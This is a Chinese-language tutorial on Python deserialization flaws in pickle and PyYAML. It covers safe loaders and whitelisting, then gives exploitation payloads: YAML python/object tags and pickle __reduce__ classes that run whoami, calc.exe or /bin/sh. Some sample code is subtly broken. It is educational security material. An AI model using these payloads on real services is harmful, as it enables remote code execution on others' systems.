Python 反序列化漏洞
什么是Python的序列化与反序列化
什么是Python的序列化
众所周知,Python是一种面向对象的语言。在Python中,一切皆对象。数字,字符串,函数,模块等等,都是对象。对象的本质是内存中的一个数据结构,包含属性(数据)和方法(操作)。
由于Python中对象的形式多种多样,变化万千,在存储时按照原本的形式来存储过于庞大且麻烦,所以我们就需要把Python对象转换为可存储或可传输的标准化格式。将Python对象转换为可存储或传输的标准化格式(如字节流、字符串)的过程,就叫做Python的序列化。
什么是Python的反序列化
既然为了存储和传输方便,将Python对象通过序列化的方式转换成了一种标准化的格式,那么在程序执行时,我们就需要把标准化格式还原为Python对象,而这个过程,就叫做Python的反序列化。
序列化的本质
- 序列化的本质是将对象的状态或数据结构转换为一种通用格式(如二进制,JSON,XML),使其可以保存到文件、数据库或通过网络传输。
- 反序列化是逆过程,将序列化后的数据还原为原始对象。
Python中序列化的实现过程
Python庞大的库,为Python强大的功能实现提供支撑和保障。同样的,Python中序列化和反序列化的实现也是通过一些库和模块来实现的。
- pickle模块 作为Python的原生模块,pickle支持几乎所有的Python对象 使用pickle进行序列化生成的是二进制格式数据
代码示例:
import pickle
data = {"name": "Alice", "age": 30}
serialized_data = pickle.dumps(data) # 序列化为字节流
# 保存到文件
with open("data.pkl", "wb") as f:
pickle.dump(data, f)
- json模块 json可以生成人类可读的JSON字符串 但json只支持基础类型(字典、列表、字符串、数字等),不支持Python特有对象(如类实例)的序列化。
代码示例:
import json
data = {"name": "Bob", "age": 25}
json_str = json.dumps(data) # 序列化为JSON字符串
# 保存到文件
with open("data.json", "w") as f:
json.dump(data, f)
- PyYAML库 YAML(YAML Ain’t Markup Language)是一种人类可读的数据序列化格式,常用于配置文件和数据交换。Python 中通过 PyYAML 库支持 YAML。
序列化实现:
import yaml
data = {
"name": "Alice",
"age": 30,
"skills": ["Python", "YAML"],
"address": {"city": "Shanghai", "zip": 200000}
}
# 序列化为YAML字符串
yaml_str = yaml.dump(data, default_flow_style=False)
print(yaml_str)
输出:
address:
city: Shanghai
zip: 200000
age: 30
name: Alice
skills:
- Python
- YAML
保存/读取文件:
# 写入文件
with open("data.yaml", "w") as f:
yaml.dump(data, f)
# 读取文件
with open("data.yaml", "r") as f:
loaded_from_file = yaml.safe_load(f)
- 使用 Protocol Buffers(protobuf)实现序列化 Protocol Buffers 是 Google 开发的高效二进制序列化格式,适合高性能通信和跨语言数据交换。需预先定义数据结构(.proto 文件)。
Python中反序列化实现过程
在以上Python序列化实现过程中,使用pickle模块和Pyyaml库,在实现反序列化的过程中存在安全风险。我们先来看看他们的反序列化过程是如何实现的
YAML 反序列化实现
YAML的反序列化过程通过PyYAML库实现,本质是将YAML文本解析为Python对象。默认的 yaml.load() 方法支持动态构造Python对象(包括类实例),但这也带来了安全风险。
反序列化步骤:
1.安装依赖
pip install pyyaml
2.基础反序列化(安全模式):
import yaml
# YAML 文本(仅包含基础类型)
yaml_text = """
name: Alice
age: 30
skills:
- Python
- YAML
"""
# 安全反序列化:仅解析基本类型(字典、列表等)
data = yaml.safe_load(yaml_text)
print(data["name"]) # 输出 Alice
3.动态对象反序列化(危险!):
YAML 可以通过标签(!!python/object)动态构造 Python 对象,例如:
# 恶意示例:反序列化时执行代码
!!python/object/apply:os.system ["echo 'Hacked!'"]
危险的反序列化代码:
# 不要对不可信数据使用 yaml.load()!
malicious_yaml = """
!!python/object/apply:os.system ["echo 'Hacked!'"]
"""
yaml.load(malicious_yaml, Loader=yaml.UnsafeLoader) # 输出 Hacked!
安全实践
始终使用 yaml.safe_load():仅解析基础类型(字典、列表、字符串、数字),禁止动态对象构造。
禁用危险标签:若必须解析对象,需自定义加载器,过滤允许的类。
from yaml import SafeLoader, Node, Constructor
class RestrictedLoader(SafeLoader):
def construct_python_object(self, node: Node):
raise yaml.ConstructorError("禁止动态对象构造")
# 注册自定义加载器
RestrictedLoader.add_constructor(
"tag:yaml.org,2002:python/object",
RestrictedLoader.construct_python_object
)
data = yaml.load(yaml_text, Loader=RestrictedLoader) # 安全加载
Pickle 反序列化实现
Pickle 的反序列化通过 pickle.load() 或 pickle.loads() 实现,其底层会重建对象的完整状态,包括调用__reduce__方法(若存在),从而可能执行任意代码。
反序列化步骤:
1.序列化一个对象:
import pickle
class User:
def __init__(self, name):
self.name = name
# 序列化对象
user = User("Alice")
serialized = pickle.dumps(user)
2.基础反序列化:
# 反序列化
loaded_user = pickle.loads(serialized)
print(loaded_user.name) # 输出 Alice
3.恶意反序列化示例:
import pickle
import os
class Malicious:
def __reduce__(self):
# 反序列化时执行系统命令
return (os.system, ("echo 'Hacked!'",))
# 生成恶意 payload
payload = pickle.dumps(Malicious())
# 反序列化触发攻击
pickle.loads(payload) # 输出 Hacked!
安全风险根源:
__reduce__方法:在反序列化时自动调用,返回一个元组(函数、参数),执行函数。
任意代码执行:攻击者可构造恶意__reduce__方法,执行危险操作(如删除文件、反弹Shell)。
防御方法
避免反序列化不可信数据:永远不要对来源未知的数据使用 pickle.load()。
限制允许的类(白名单):
import pickle
class SafeUnpickler(pickle.Unpickler):
allowed_classes = {"__main__.User"} # 仅允许User类
def find_class(self, module, name):
full_name = f"{module}.{name}"
if full_name not in self.allowed_classes:
raise pickle.UnpicklingError(f"禁止的类: {full_name}")
return super().find_class(module, name)
# 安全反序列化
safe_data = SafeUnpickler(io.BytesIO(serialized)).load()
反序列化漏洞的成因
我们上面提到了YAML和pickle的反序列化过程以及他们的风险漏洞,这里来总结一下。
YAML的反序列化漏洞
造成YAML反序列化漏洞的原因是由于过于相信YAML数据来源,在反序列化的过程中使用了一些危险标签,使得攻击者利用这些标签使用 yaml.load() 方法来动态构造Python对象,导致程序错误地调用了 os.system() 进行命令执行
Pickle 的反序列化漏洞
造成pickle反序列化漏洞的原因是在反序列化过程中,存在调用__reduce__方法的可能,这一方法使得攻击者可以通过构造恶意类,在__reduce__中返回一个危险的可调用对象(如 os.system),从而在反序列化时触发任意代码执行。
为什么__reduce__危险?
- 完全控制反序列化逻辑:
__reduce__允许攻击者指定任意函数和参数,且反序列化时自动执行。
- 绕过对象状态限制:
即使目标代码中没有恶意类,攻击者也可以构造包含危险函数的__reduce__。
Python反序列化漏洞的利用
我们已经讨论过Python中的反序列化漏洞是由于错误使用yaml.load()、危险标签和__reduce__,导致的命令执行漏洞,因此,我们的利用点也着眼于此。
yaml漏洞的利用
对于PyYaml<5.1版本下的漏洞,其主要原因主要出现在下面五个python标签:
python/name
python/module
python/object
python/object/new
python/object/apply
漏洞成因:
由于上面提到的五个标签,在constructor.py文件被加载器解析导致,攻击者利用这类标签可以达到任意命令执行,以及验证绕过等漏洞的利用。
payload:
!!python/object/apply:os.system ["calc.exe"]
!!python/object/new:os.system ["calc.exe"]
!!python/object/new:subprocess.check_output [["calc.exe"]]
!!python/object/apply:subprocess.check_output [["calc.exe"]]
在5.1之后的yaml中load函数被限制使用了,会被警告提醒加上一个参数 Loader
针对不同的需要,选择不同的加载器,有以下几种加载器
BaseConstructor:仅加载最基本的YAML
SafeConstructor:安全加载Yaml语言的子集,建议用于加载不受信任的输入(safe_load)
FullConstructor:加载的模块必须位于 sys.modules 中(说明程序已经 import 过了才让加载)。这个是默认的加载器。
UnsafeConstructor(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)
Constructor:等同于UnsafeConstructor
如果说指定的加载器是UnsafeConstructor 或者Constructor,那么利用方式就照旧
payload
我们可以用python的内置函数eval(或者exec)来执行代码,用map来触发函数执行,用tuple将map对象转化为元组输出来(当然用list、frozenset、bytes都可以),用python写出来如下
tuple(map(eval, ["__import__('os').system('whoami')"]))
变为yaml
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""")
除此之外网上还有很多大佬有其他的payload
#创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('whoami')"
#报错但是执行了
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
参考:
Pickle 漏洞利用
漏洞常见出现地方
- 通常在解析认证
token,session的时候. 现在很多 Web 服务都使用redis、mongodb、memcached等来存储session等状态信息. - 可能将对象 Pickle 后存储成磁盘文件.
- 可能将对象 Pickle 后在网络中传输.
基本 Payload
import os
import pickle
class Demo(object):
def __reduce__(self):
shell = '/bin/sh'
return (os.system,(shell,))
demo = Demo()
pickle.loads(pickle.dumps(demo))
Marshal 反序列化
由于pickle无法序列化code对象, 因此在python2.6后增加了一个marshal模块来处理code对象的序列化问题.
import base64
import marshal
def demo():
import os
os.system('/bin/sh')
code_serialized = base64.b64encode(marshal.dumps(demo()))
print(code_serialized)
但是marshal不能直接使用__reduce__, 因为reduce是利用调用某个callable并传递参数来执行的, 而marshal函数本身就是一个callable, 需要执行它, 而不是将他作为某个函数的参数.
Pyload(PyYaml >= 5.1)
from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = load(data, Loader=Loader)
print(deserialized_data)
from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = unsafe_load(data)
print(deserialized_data)
参考:
其他:
关于callable:
在 Python 中,“callable”(可调用对象) 是指任何可以通过 () 运算符调用的对象。简单来说,如果一个对象可以像函数一样被调用(例如 obj()),它就是可调用的。以下是关于 callable 的详细解释:
1. 常见的可调用对象类型
(1) 函数(Function)
包括内置函数、自定义函数、Lambda 函数。
python def greet(name): print(f"Hello, {name}!") # 调用函数 greet("Alice") # 输出 Hello, Alice! # Lambda 也是可调用的 add = lambda a, b: a + b print(add(3, 5)) # 输出 8
(2) 类(Class)
类本身是可调用的
,调用类会创建它的实例。
python class Dog: def __init__(self, name): self.name = name # 调用类创建实例 my_dog = Dog("Buddy") # Dog 类是可调用的
(3) 方法(Method)
类中定义的方法(实例方法、类方法、静态方法)。
python class Calculator: def add(self, a, b): # 实例方法 return a + b @classmethod def multiply(cls, a, b): # 类方法 return a * b @staticmethod def subtract(a, b): # 静态方法 return a - b calc = Calculator() calc.add(2, 3) # 实例方法调用 Calculator.multiply(2, 3) # 类方法调用 Calculator.subtract(5, 2) # 静态方法调用
(4) 实现了 __call__ 方法的对象
如果一个类定义了
__call__方法,它的实例会成为可调用对象。
python class Adder: def __init__(self, x): self.x = x def __call__(self, y): return self.x + y add_5 = Adder(5) print(add_5(3)) # 输出 8(等价于 add_5.__call__(3))
(5) 其他内置可调用对象
生成器函数、部分函数(
functools.partial)等。
python import functools def power(base, exp): return base ** exp square = functools.partial(power, exp=2) # 部分函数 print(square(3)) # 输出 9
2. 如何判断一个对象是否可调用?
使用内置函数 callable() 可以检测对象是否可调用:
python
print(callable(len)) # True(内置函数)
print(callable("hello")) # False(字符串不可调用)
print(callable(Adder(5))) # True(实现了 __call__ 的实例)
3. 不可调用的对象示例
基础数据类型:整数、字符串、列表等。
python x = 42 x() # 报错:'int' object is not callable未实现
__call__的实例:python class Cat: pass my_cat = Cat() my_cat() # 报错:'Cat' object is not callable
4. Callable 的实际应用场景
装饰器(Decorator):
装饰器本身必须是可调用对象(函数或类)。
python def logger(func): def wrapper(*args, **kwargs): print(f"Calling {func.__name__}") return func(*args, **kwargs) return wrapper @logger def say_hello(): print("Hello!") say_hello() # 输出 "Calling say_hello" 和 "Hello!"
动态调用函数:
通过变量名动态调用函数。
python def do_operation(op, a, b): operations = {"add": lambda x, y: x + y, "mul": lambda x, y: x * y} return operations[op](a, b) print(do_operation("add", 3, 5)) # 输出 8
回调机制:
将函数作为参数传递,在特定事件发生时调用。
python def on_button_click(callback): print("按钮被点击了!") callback() def show_message(): print("执行回调函数") on_button_click(show_message)
总结
- 可调用对象是 Python 的核心概念之一,包括函数、类、方法和实现了
__call__的实例。 - 使用
callable()可以快速检测对象是否可调用。 - 理解 callable 是掌握装饰器、动态编程和回调机制的关键。